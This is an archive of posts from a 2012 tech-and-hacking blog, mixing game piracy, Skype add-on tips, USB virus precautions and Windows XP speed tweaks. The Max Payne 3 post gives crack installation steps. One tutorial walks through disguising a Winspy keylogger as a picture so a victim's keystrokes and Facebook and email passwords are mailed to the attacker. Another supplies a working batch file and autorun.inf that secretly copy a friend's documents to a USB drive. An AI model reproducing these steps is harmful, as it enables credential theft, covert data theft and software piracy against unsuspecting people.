Tuesday, 24 July 2012
Need For Speed Most Wanted Free Download
Need for Speed: Most Wanted (commonly
abbreviated to as NFS: MW) is a racing video game developed by EA Canada
and published by Electronic Arts. It is the ninth installment in the
Need for Speed series. The game features street racing-oriented game
play, with certain customization options from the Need for Speed:
Underground series. The game is succeeded by Need for Speed: Carbon,
which serves as a sequel to Most Wanted, and later Need for Speed:
World, which features both the cities of Rockport and Palmont, making
that game a successor to both Most Wanted and Carbon.
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Max Payne 3 - Reloaded Free Download
Max Payne 3 is a
third-person shooter video game developed by Rockstar Studios and
published by Rockstar Games. It is the third title in the Max Payne
franchise and was released for PlayStation 3 and Xbox 360 in May 2012
and for Microsoft Windows in June. Development is led by Rockstar
Vancouver in collaboration with the New England, London and Toronto
studios. This is the first game in the series that was not developed by
Finnish game developer Remedy Entertainment and not written by series
creator Sam Lake. The lead writer of Max Payne 3 was Dan Houser, who was
also the writer of Red Dead Redemption, Grand Theft Auto IV, and Bully.
Installation
Install
1. Unrar.
2. Burn or mount the image.
3.
Install the game. When it tries to get updates after install, abort.
Then install the required game updates found in the \Crack\Updates dir
on DVD4 (Launcher, Social Club, MP3 main game).
4.
Copy over the "profiles" dir, also found in the \Crack dir on DVD4 to
your Documents\Rockstar Games\Social Club\ dir.
(%USERPROFILE%\Documents\Rockstar Games\Social Club\).
5. Copy over the cracked content, ie. the rest of the files, from the \Crack dir on DVD4 to your installation dir.
6.
Play the game offline. Make sure that all the games exe files are
blocked from going online by using your system or third party firewall
to prevent outgoing connections on every game exe file. Do this before
starting the game. Going online and using your own profile might be
possible, but it is at your own risk.
Minimum System Requirements
OS: Windows XP/Vista/7
Processor: Intel Core 2 Duo @ 2.4 Ghz / AMD Athlon 64 X2 5200+
Memory: 2 Gb
Hard Drive: 35 Gb free
Video Memory: 512 Mb
Video Card: nVidia GeForce 8600 / ATI Radeon HD 3450
Sound Card: DirectX Compatible
DirectX: 9.0c
Keyboard
Mouse
DVD Rom Drive
Recommended System Requirements
OS: Windows Vista/7
Processor: Intel Core i7 @ 3.06 GHz / AMD FX-8150 @ 3.6 GHz
Memory: 8 Gb
Hard Drive: 35 Gb free
Video Memory: 2 Gb
Video Card: nVidia GeForce GTX 680 / ATI Radeon HD 7970
Sound Card: DirectX Compatible
DirectX: 11
Keyboard
Mouse
DVD Rom Drive
Monday, 23 July 2012
Hacking Facebook Account Password With Winspy Keylogger
Hacking Facebook Account Password – Winspy keylogger
1. First of all free download Winspy keylogger software from link given below:
2. After downloading, run the application. On running, a dialog box will be prompted. Now, create an user-id and password on first run and hit apply password. Remember this password as it is required each time you start Winspy and even while uninstalling.
3. Now, another box will come, explaining you the hot keys(Ctrl + Shift + F12) to start the Winspy keylogger software…..
4. Now, on pressing hot keys, a login box will come asking userid and password. Enter them and click OK.
5. Now, Winspy’s main screen will be displayed as shown in image below:
6. Select Remote at top, then Remote install.
7. On doing this, you will get a popup box as shown in image. Now, fill in the following information in this box.
.user - type in the victim’s name
.file name - Name the file to be sent. Use the name such that victim will love to accept it.
.file icon - keep it the same
.picture - select the picture you want to apply to the keylogger.
In the textfield of “Email keylog to”, enter your email address. Hotmail accounts do not accept keylog files, so use another emailaccount id,my sugession is using a Gmail id
Thats it. This much is enough. If you want, can change other settings also.
8. After you have completed changing settings, click on “Create Remote file”. Now just add your picture to a winrar archive. Now, what you have to do is only send this keylog file to your victim. When victim will open this file, all keystrokes typed by victim will be sent to your email inbox. Thus, you will get all his passwords and thus will be able to hack his email accounts and even Facebook account password.
How To Steal Files From Other Computer
In today’s article I am going to teach you something illegal but only for educational propose. This only demonstrates how you can copy files from your friend’s PC as soon as you plug in your flash drive or any removable storage media.
I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.
When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).
Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.
Here goes the batch code:
@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR
:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit
:ERROR
exit
What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.
Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.
This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.
Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.
Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes o.
Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.
This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.
Now let’s create a file that will load it automatically.
[autorun]
Open=Filename.bat
Action=File Copier
The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.
Copy the two files, autorun.inf and Filename.bat in your flash drive.
Then plug in your device to your friends PC and do the evil things.
Where is the flaw?
It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).
Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.
However this is just an educational tutorial.
Hope this tutorial was helpful.
How to Speed Up Windows XP in Seconds ? Easy Way
Windows of the complaint will be slow. I broke the keyboard and mouse. But this is not the solution. There are many techniques to speed up the computer. And easy. Keep reading to learn.
Blue screens, system errors, high in most cases it probably has to do with the Windows registry system. When you download and install so many applications onto your windows in happens that some applications, games,programs aren’t installed/uninstalled properly.
It
is important to understand the Windows registry. For each hardware and
software to run Windows uses the Windows registry. This system is very
sensitive. We want to accelerate Windows XP. That time. I need to repair the corrupted registry. We will minimize errors in Windows. That time computer is not slow. To repair the registry requires a very technical information.
You can not do ourselves. The best way to accelerate Windows XP. These is a
good softwares. These software should repair the registry. You should fix
the error encountered. Then the computer programs that load quickly.
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Skype: Tips, Addons, Hacks and Extras
For millions of users, Skype is the VoIP solution
of choice. If you’re just getting into this great telephone
alternative, you are going to be surprised how much you can do with it.
In this article we cover lot of tips, addons, hacks, and extras to help
you utilize Skype to its fullest potential.
Starting Simple: Built-In Skype Features you Didn’t Know About
Skype
is such a rapidly emerging technology that a lot of brand new users
aren’t even aware of all the built-in features that Skype offers
standard, not to mention the add-ons and hacks that you can improve it
with. In this section we cover some often overlooked standard features
of Skype that can dramatically improve your experience.
Whether you’ve set your Skype account up on your home or work computer, the fact is, you are occasionally going to get important calls when you aren’t there. Thankfully, you can simply forward those calls to another Skype account or even a cell phone or land line. That way, even if your computer at work is shut down, as soon as a call comes in to your Skype account, the call will immediately ring on your cell phone, your home computer and your home phone line, meaning that no matter where you are you’ll be sure to get it. To forward a call click on the “Tools” menu and select “Options.” From there set the forwarding number in the “Call Forwarding & Voicemail” section.
2 Filtering and Blocking Users
Skype
is a great tool for both business and pleasure, but if you don’t take
preventative steps, it can also cause you some serious security
problems. VoIP Phishing also known as Vishing is a new VoIP targeted
scam in which cyber-criminals use a VoIP client such as Skype to call
people and attempt to trick them into revealing important financial
details such as credit card numbers or online passwords. But you can
limit these attacks by simply blocking unwanted callers.
To block unknown or unwanted callers, simply click on “Tools” and
select “Options.” From there, select “Privacy” and choose the level of
security that works best for you. When it comes to individual attacks,
you can avoid repeat vishing calls by blocking the spammer by click
ing on “Manage Blocked Users” in the “Options” dialog.
3 A DIY Home Security System
Whether you want to keep an eye on your pet goldfish from work or just make sure no one has broken in the house while you are on vacation, Skype can double as an away from home monitoring system. Checking in is simple with Skype’s one and two way video calling. You’ll need two separate Skype accounts, a computer at home with a webcam, and access to the Internet. Using one account, setup the home version of Skype to auto-answer calls and automatically fire up the webcam. Then to check in, just use the second Skype account to call the first, and the webcam video will pop up.
4 Providing Customer Support
Got a small business online? Want to offer some customer support without spending a fortune on telephony costs? Skype’s graphical click-to-call SkypeMe buttons are ideal for this. Create your SkypeMe button (free account needed) and embed the code in your website, weblog, template, email, or wherever you want it to appear. When someone views your web page (or email message), the button will indicate whether you are online and accepting Skye calls, busy, or offline. If you’re on the go and want to receive calls, just leave your Skype client running and set call forwarding (see above).
Plugins, Addons, and Extras
Think of the off-the-shelf version of Skype as a new car without any optional package. Sure, it will still get you to and from work, but it doesn’t have any of the bells and whistles that make your new toy exciting. Unlike car options, however, these Skype Plugins and Add-ons won’t cost you a fortune, and they’re easy to install to boot.
5 Using Skype to Sell your Services
You’ve got information that other people can use, and with the Bitwine Skype add-on you’ll be able to leverage that information into an income stream. Whether you’re a lawyer, a mechanic, or a talented collector, there are people willing to pay for the information you have, and using Bitwine makes selling that information easy. Through Bitwine, you set up your hourly rate, then customers approach you about the topic they would like to discuss, you set up a meeting time, and at the end of the meeting Bitwine tallies up the time and will even coordinate payment via PayPal through another add-on, Bitwine extra.
6 Recording Calls
There are a lot of add-on options for recording Skype calls, including the free Audacity audio
editor. But Audacity has to be triggered manually, and since you don’t
always know beforehand when a call should be recorded, the fact that
Audacity is manual is a serious limitation. By contrast, there are a
number of Skype recorders that start up automatically. HotRecorder is
arguably among the best. HotRecorder allows searchable Meta text to be
added to each recording, and works with Google Talk and other IM
clients. For aspiring Howard Sterns, there’
s a selection of Emotisounds such as laughs, claps, etc., that can be inserted into the conversation for later podcasting.
7 Enhanced Voicemail
If you use your Skype phone for more than just the occasional long-distance call, you should enhance your voicemail setup beyond the basic Skype standard. Pamela offers (automatic) call recording, an answering machine for voice and video, automated chat reply if you’re away, Skype VoiceMail management, and email forwarding of audio files. In addition, Pamela will let you setup a separate greeting or voicemail message for different users, so that your business and personal calls won’t hear the same message. And best of all, Pamela allows for remote control, meaning that if you forget to change one of the voicemail settings before you go on vacation, you can make the changes via any computer anywhere.
8 Keep Up With New Music
If you constantly find yourself wondering why everyone else’s iPod seems to have better music than yours, maybe its time to start branching out and discovering new music. Last.fm, a Skype add-on provides you with an easy forum to share your own musical preferences and listen to what other people like. With this add-on, you can browse through other Skype and Last.fm user’s music collections and listen in. While you’re listening, information about the song and artist you’re listening to is displayed and you’re given the ability to find similar titles. Setup is really simple, you just need to download the Last.fm extra, sign up for a free account at Last.fm and there download the Last.fm software. For those of you that are Mac users, Last.fm will still work as a Skype add-on, the only difference is that you will need to download the iScrobbler extra to make Last.fm Mac compatible.
9 Universal Chat and Language Translation
It’s a global world out there, so whether you’re conducting business or pleasure with Skype, you are likely communicating with people around the world and may occasionally encounter language barriers. Thankfully, by using the quick add-on Universal Chat Translator you can communicate with anyone no matter what language they speak. The software only produces text translations, so you may feel like you’re watching a foreign film with subtitles, but the fact that the Universal Translator can read text in 11 languages and understand spoken text in 50 means that you’ll at least be able to get your point across.
10 A Complete Small Business Collaboration Solution
If you’re running a small business or working as part of a team on a single project, real-time collaboration is essential. There’s no better way to supplement your Skype conferencing than with a collaborative desktop provided by Skype add-on Unyte. Unyte lets you choose which applications or documents to share with the other people on your conference call. Then everyone can be looking at the same documents at the same time, and when changes are made they appear on everyone’s screen so that there is no confusion. Pricing depends on the number of people you want to bring in on the conference, but you can give two-person collaboration a try for “_blank”>free.
11 Combining Real-Time Document and Voice Collaboration
If the setup hassles of Unyte are too much for you, a simpler solution that redefines easy-setup isTalkandWrite. TalkandWrite will give you video and voice conferencing as well as handle real-time collaborative document editing. That means, that not only will the changes you make be reflected on the other person’s screen, but you’ll also be able to see and talk with the other person about those changes as you make them. This easy Skype add-on can be a real time-saver for anyone who spends time working with a small team preparing for a project.
Mobility
With the advent first of cordless phones and then cell phones, every communication device is going mobile. So it doesn’t make sense that your most advanced communication tool, Skype, should keep you tethered to your computer. Here are a few Skype add-ons and extras to give you the freedom to get out from behind your desk.
12 Bluetooth and Skype
The first step to mobility is just cutting the cord that connects you to your computer when you’re using Skype. You can think of this step as the advent of the cordless phone for Skype, it will get you mobile, but only within certain limits. Most newer computers are already Bluetooth capable, so purchasing and synching up a Bluetooth wireless earpiece or headset is extremely simple. In fact, you can use a single Bluetooth earpiece to handle calls from both Skype and your cell phone, so you may not need to buy anything if you’re already using a Bluetooth earpiece with your mobile. The only downside to going Skype wireless via Bluetooth is that you are limited by Bluetooth as to how far from your computer you can be. But for those that are just looking for a way to cut the wire and have a little more mobility around the office, Bluetooth is the perfect solution.
13 Mobile Phone Skype Calling
Imagine if you could use SkypeIn or SkypeOut from your cell phone: you could make and receive phone calls to people around the world with the convenience of your cell phone but the pricing of Skype. Thankfully, that day is already here, but a surprising number of Skype fans just don’t yet know about the capability. Ego has been offering their Skype based cell phone service for almost a year. It lets you see who is online, make and receive calls with your Skype contacts, and use Skype Instant Messaging. If the idea of carrying both a Skype phone and a regular cell phone doesn’t suit you, TalkPlus has hacked the Skype API to create a server that functions as a Skype client, demonstrating that integrating Skype calls and regular mobile calls will soon be a reality. In fact, in November 2006, TalkPlus demonstrated a successful mobile call to Skype test id echo123. Their hack was then made public, and could be installed on mobile phones to talk to the Skype server. Since then, the service has temporarily gone MIA, but expect that very soon full cell phone/ Skype integration will be a reality.
14 Skype on a Cell Phone…Indirectly
While the ultimate goal is complete Skype/ mobile integration, for now you can get a lot of the functionality of a Skype mobile phone by routing your mobile through your home Skype setup. By using a Skype on your mobile phone indirectly. Essentially, you will be using your mobile phone to call your home computer, which will in turn ask you to enter a password, and then allow you to use your SkypeOut credits to call your Skype friends. While the system isn’t yet perfect, in part because you’ll be racking up both your cell phone and SkypeOut minutes at once, it is an effective way to be able to make Skype calls from your cell phone now.
15 Bringing Skype to your TV
Imagine, you hear your Skype phone ring, but it’s the fourth quarter of the game, and who knows if the call is even important. You don’t want to get up, but it seems you have no choice. Thankfully, with mcePhone you won’t have to get up to find out who is calling ever again, as your incoming Skype calls will simply pop up on your TV screen. From your TV you’ll be able to see your own Skype-Status (online, offline, etc), the number of SkypeOut credits you have, which of your Skype friends are currently online, and whether you have any new voicemails. And when a new call comes in, a small window automatically pops up letting you know who the caller is, and it will even let you decide whether you want to accept, ignore, or reject the call all by remote control.
16 Having your Skype Announce Who is Calling
Despite its simplicity, AudioID is easily one of the most useful Skype hacks for home users. AudioID will allow you to setup an individualized announcement for each caller that will play over your computer or home speaker system. So instead of hearing a generic computer ring from somewhere way back in the home office, you can hear a clear message from your computer, “Call from Kristy” which will let you decide whether you need to run back to take the call or whether it can wait until later.
Pure Silliness: Skype Hacks Designed to Entertain
Much of Skype’s appeal is the connectivity and productivity it brings to its users. But Skype can also just be a great way to have a whole lot of fun. These simple hacks will help you do just that.
17 Voice Analysis Love Detector
Whether you’re using a Skype based dating service or are just want to know if that secret crush feels the same way about you, the Love Detector is a fun Skype add-on that uses SENSE voice analysis technology to detect love and other emotions over your Skype calls. But before you rush out and purchase the full version, you can give this add-on a free trial run and start testing how people really feel about you.
18 Making Board Games Fun Again
Need a break from work but need to stay in front of the computer so your boss doesn’t get suspicious?
There are a whole host of classic board games that you can add-on to Skype for some fun diversion. WithBackgammon, Bingo, Chess and Checkers, you can compete against your fellow Skype users using ‘old-school’ games with ‘new-school’ interfaces.
19 KishKish Lie Detector
If you’re using your Skype phone to conduct business deals and you want to make sure the other party is being truthful, or you just want to prove once and for all that your boyfriend is a cheater, try KishKish the Skype Lie Detector add-on. KishKish detects the stress level of the person you are talking with over Skype, and it uses that information to detect when they are lying.
20 Creating a Lip-Snyc-ing Avatar to Hide Behind
Video calls can be great for connecting with people on a more personal level. But sometimes, whether because we don’t know the caller well or it just hasn’t been a good morning, we don’t want to be seen. Instead of feeling embarrassed in front of the camera, CrazyTalk allows you to create your own Skype video avatar and have him/ her lip-sync anything you say. This fun add-on is surprisingly simple to setup and use, and will allow you create your own custom avatar from any digital photo. Once set up, it takes just a click to have the avatar pop up, cover the Skype video screen and begin lip-sync-ing.
21 Disguising your Voice
There’s nothing more entertaining than changing your voice to mess with your friends. Whether you want to impersonate their boss or their girlfriend, DoNaut has got you covered. This easy to install Skype add-on will allow you to adjust the tone and quality of your voice throughout the call. In addition, you can use DoNaut to pipe in some background music to your Skype calls off your favorite music player such as iTunes, or Windows Media Player.
22 “Can I Have Your Number?” … “Umm, No.”
Whether from a bad blind date, or a sales person that just won’t take no for an answer, we’ve all been in a situation where we didn’t want to give the person our phone number or Skype information, but it seemed unavoidable. Thankfully, the folks that compiled the original NotMyNumber Directory have given Skype users the ability to provide people with a fake number as well. This simple Skype add-on will give you access to local numbers in every major city that are guaranteed to be inactive. That way, when someone you don’t want to talk to asks you for your Skype number, you can very casually access the Skype NotMyNumber Tool and offer them a completely fake number.
Ad
vanced Hacks
If you’re tech savvy and really want to push your Skype setup to the limit, this list of advanced hacks can help you create functionalities that are sure to improve your experience and wow your friends. But be forewarned, even though a lot of these hacks will be simple to advanced tweakers, if you’re new to Skype you may find some of these hacks are over your head.
23 Multiple Logins
If Skype has become your family’s communication device of choice, then no doubt you have experienced the problem of having multiple members of your family trying to use your home Skype account at the same time. For a quick fix to this problem, just setup setup multiple logins, so that everyone in the family can use their Skype ID whenever they want. So far this hack is only available for Windows XP users, but keep an eye out for a hack compatible with your OS in the near future.
24 Design your own Hack
Don’t see a hack here that interests you? Or maybe you need custom functionality and can’t wait for someone to create it. Skype has open developer API, so you can write your own plugins which can be created in HTML or Java, or as an EXE or DLL. If you’re looking for a community to help you with some of the programming hurdles, the Skype Developer Zone blog will even keep your questions private so that no one steals your new idea before you get it finished. And when your application is complete, the site also offers a Publishing Studio Publication Studio to manage your published component.
This list of 25 Skype hacks, modifications and add-ons are all designed for one thing… improving your Skype Experience. And with your newfound Skype knowledge you are now just a hack away from experiencing this great service in ways you never have before. So go out, implement a hack or two, and enjoy your improved Skype service. Happy Skype-ing!
Protect Your Computer From USB Viruses-Top 5 Security Tips
With increasing anti-virus security in place against email-aware viruses and malware, hackers are turning their attention to less well-defended routes such as USB drives. This is the latest method that’s used by hackers to torment innocent users. However, there are ways you can protect your computer from USB and Pen drive viruses.
1.Block USB Viruses
Invest in an excellent anti-virus program that has built in USB virus scan and remover. These anti-USB virus scan programs not only protect your computer from USB Autorun viruses but can also clean worms, Trojans and viruses in your USB memory sticks.You can try anti-virus programs for USB virus such as USB Virus Scan, USB Drive Antivirus and so on.
2.Disable Your Computer’s Autorun Feature
When you plug in a USB drive stick into your system, the Autorun feature initiates automatically. If your USB contains any virus programs, it’ll use the Autorun feature to infect your computer. To protect your computer, disable the Autorun feature.You can disable the Autorun feature via the Control Panel.
Alternatively, you can use antivirus software to disable and enable the Autorun feature whenever you want. Additionally, these USB blocking softwares allow system administrators to specify which removable storage drives users can access.
3.Update Your Device Driver
Keeping your USB device driver updated is a good way to ensure greater stability for your USB drives. While this won’t help eradicate USB viruses, USB device drivers are constantly updated to block viruses and deliver timely warnings. You can update your USB device drive from your Windows Computer Management feature in the Control Panel.
4.Use USB Firewall Software
USB firewalls prevent Windows OS from processing malicious programs when a virus infected portable USB device is opened. USB firewalls monitor only your USB devices, and not your CD and DVD drives. By using USB firewalls, you’ll be enabling a basic level of protection from the autorun.inf viruses that spread from portable USB devices.
5.Always Safely Remove USB Devices
Viruses are sometimes created via damaged documents. If you are transferring a set of files to your USB drive, make sure the transfer is complete before you eject the device. Always use the Safely Remove Hardware feature of Windows OS. This is because partially transferred or damaged files can in turn corrupt other files on your USB drive.
Sunday, 22 July 2012
Make Your Windows Faster
Maintenance and cleaning up of your PC should
be part of a regular routine to ensure that you don’t have any
long-term problems with the computer. Unfortunately most basic computer
users may not understand the mechanics of a computer or may feel
intimidated with the maintenance. Just follow the step by step to make your windows Faster as never before
Disable CD Autorun
( Win XP PRO Only)
1) Click Start, Run and enter GPEDIT.MSC
2) Go to Computer Configuration, Administrative Templates, System.
3) Locate the entry for Turn autoplay off and modify it as you des
Speed Up Browsing
When you connect to a web site your computer sends information
back and forth. Some of this information deals with resolving the
site name to an IP address, the stuff that TCP/IP really deals with,
not words. This is DNS information and is used so that you will not
need to ask for the site location each and every time you visit the site.
Although Windows XP and Windows XP have a pretty efficient DNS
cache, you can increase its overall performance by increasing its size.
You can do this with the registry entries below:Windows Registry
Editor Version 5.00 [HKEY_LOCAL_MACHINESYSTEM
CurrentControlSetServicesDnscacheParameters]
“CacheHashTableBucketSize”=dword:00000001
“CacheHashTableSize”=dword:00000180
“MaxCacheEntryTtlLimit”=dword:0000fa00
“MaxSOACacheEntryTtlLimit”=dword:0000012d
Make a new text file and rename it to dnscache.reg. Then copy and
paste the above into it and save it. Merge it into the registry.
Disable Indexing Services
Indexing Services is a small little program that uses large amounts of
RAM and can often make a computer endlessly loud and noisy. This
system process indexes and updates lists of all the files that are on
yourcomputer. It does this so that when you do a search for something
on your computer, it will search faster by scanning the index lists. If
you don’t search your computer often, or even if you do search often,
this system service is completely unnecessary. To disable do the
following:
1. Go to Start
2. Click Settings
3. Click Control Panel
4. Double-click Add/Remove Programs
5. Click the Add/Remove Window Components
6. Uncheck the Indexing services
7. Click Next
Optimise Display Settings
Windows XP can look sexy but displaying all the visual items can waste
system resources.
To optimize:
1.Go to Start
2. Click Settings
3. Click Control Panel
4. Click System
5. Click Advanced tab
6. In the Performance tab click Settings
7. Leave only the following ticked:
- Show shadows under menus
- Show shadows under mouse pointer
- Show translucent selection rectangle
- Use drop shadows for icons labels on the desktop
- Use visual styles on windows and buttons
Speed Up Folder Browsing
You may have noticed that every time you open my computer to
browse folders that there is a slight delay. This is because
Windows XP automatically searches for network files and printers
every time you open Windows Explorer.
To fix this and to increase browsing significantly:
1. Open My Computer
2. Click on Tools menu
3. Click on Folder Options
4. Click on the View tab.
5. Uncheck the Automatically search for network folders and
printers check box
6. Click Apply
7. Click Ok
8. Reboot your computer
Remove The Desktop Picture
Your desktop background consumes a fair amount of memory
and can slow the loading time of your system.
Removing
it will improve performance.
1. Right click on Desktop and select Properties
2. Select the Desktop tab
3. In theBackground windowselect None
4. Click Ok
Disable Unnecessary ServicesBecause Windows XP has to be all things to all people it has many
services running that take up system resources that you will never
need.
Below is a list of services that can be disabled on most
machines:
Alerter
Clipbook
Computer Browser
Distributed Link Tracking Client
Fast User Switching
Help and Support – (If you use Windows Help and Support leave
this enabled)
Human Interface Access Devices
Indexing Service
IPSEC Services
Messenger
Netmeeting Remote Desktop Sharing (disabled for extra security)
Portable Media Serial Number
Remote Desktop Help Session Manager (disabled for extra security)
Remote Procedure Call Locator
Remote Registry (disabled for extra security)
Remote Registry Service
Secondary Logon
Routing & Remote Access (disabled for extra security)
Server
SSDP Discovery Service – (Unplug n’ Pray will disable this)
Telnet
TCP/IP NetBIOS Helper
Upload Manager
Universal Plug and Play Device Host
Windows Time
Wireless Zero Configuration (Do not disable if you use a wireless
network)
Workstation
To disable these services:
Go to Start and then Run and type “services.msc”
Double click on the service you want to
change Change the startup type to ‘Disable”
Remove Annoying Delete Confirmation Messages
Although not strictly a performance tweak I love this fix as it
makes my machine ‘feel’ faster. I hate the annoying
‘are you sure?’ messages that XP displays, especially
if I have to use a laptop touchpad to close them.
To remove these messages:
1. Right-click on the ‘Recycle Bin’ on the desktop and then
click ‘Properties’
2. Clear the ‘Display Delete Confirmation Dialog’ check
box and click ‘Ok’!!
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